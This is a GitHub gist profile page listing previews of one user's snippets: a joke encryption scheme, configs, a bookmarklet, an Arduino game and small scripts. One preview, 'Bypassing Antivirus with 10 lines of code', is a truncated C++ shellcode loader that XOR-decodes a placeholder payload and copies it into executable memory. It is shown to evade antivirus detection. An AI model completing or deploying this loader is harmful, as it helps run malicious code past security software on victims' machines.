Skip to content

Instantly share code, notes, and snippets.

View NULLx76's full-sized avatar
🏳️‍⚧️

Vivian Roest NULLx76

🏳️‍⚧️
View GitHub Profile
@NULLx76
NULLx76 / bogocrypt.md
Created October 26, 2019 20:17
Bogocrypt

Bogocrypt

Encryption

  1. plaintext xor /dev/urandom

Decryption

  1. Ciphertext xor /dev/urandom
  2. Retry until plaintext matches valid english words
  3. hope that it is correct
-- Imports
local component = require("component")
local sides = require("sides")
local gpu = component.gpu
local w, h = gpu.getResolution()
-- Vars
local card = component.proxy(component.list("redstone")())
local cardUUID = card.address
local outputSide = sides.east
server {
listen 443 ssl http2;
server_name github.xirion.net;
ssl_certificate /etc/letsencrypt/live/xirion.net/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/xirion.net/privkey.pem;
ssl_dhparam /etc/ssl/certs/dhparam.pem;
@NULLx76
NULLx76 / fizzbuzz.py
Last active September 28, 2018 20:33
fizzbuzz
#!/usr/bin/env python3
import math
i = int(not False)
while True:
k = i
r = i - k
z = int((math.e ** (math.pi * 1j)).real)
g = int(str(int(z * z)) + str(r))
while i:
r, i = r + i % g, i // g
@NULLx76
NULLx76 / html5videospeedup.js
Created April 8, 2018 20:44
A bookmarklet for speeding up html5 videos
javascript: (function() {
document.querySelector('video').playbackRate = prompt("Speed multiplier?")
})();
@NULLx76
NULLx76 / package_updates_check.py
Created December 4, 2017 17:12 — forked from yumminhuang/package_updates_check.py
Python script to check apt-get updates
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import apt
import apt_pkg
from time import strftime
import os
import subprocess
import sys

Keybase proof

I hereby claim:

  • I am NULLx76 on github.
  • I am 0x76 (https://keybase.io/0x76) on keybase.
  • I have a public key whose fingerprint is 3688 B01C 5936 957F C679 BFD3 3568 7D05 7E08 CD21

To claim this, I am signing this object:

@NULLx76
NULLx76 / Arduin-lcd-game.ino
Created June 14, 2016 12:30
Arduino LCD Game
/*
A 'Dodge the things game' using the LiquidCrystal Library
By:
Quirijn
Victor
*/
// include the library code:
#include <LiquidCrystal.h>
@NULLx76
NULLx76 / code.cpp
Last active May 28, 2024 17:18
Bypassing Antivirus with 10 lines of code
/* source: http://www.attactics.org/2016/03/bypassing-antivirus-with-10-lines-of.html */
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
@NULLx76
NULLx76 / cpu
Created February 20, 2016 22:13
#!/bin/sh
#
# z3bra - (c) wtfpl 2014
usage () {
cat <<EOF
usage: $(basename $0) [-hp]
-h : print help
-p : percentage of cpu used (default)
-n : number of running processes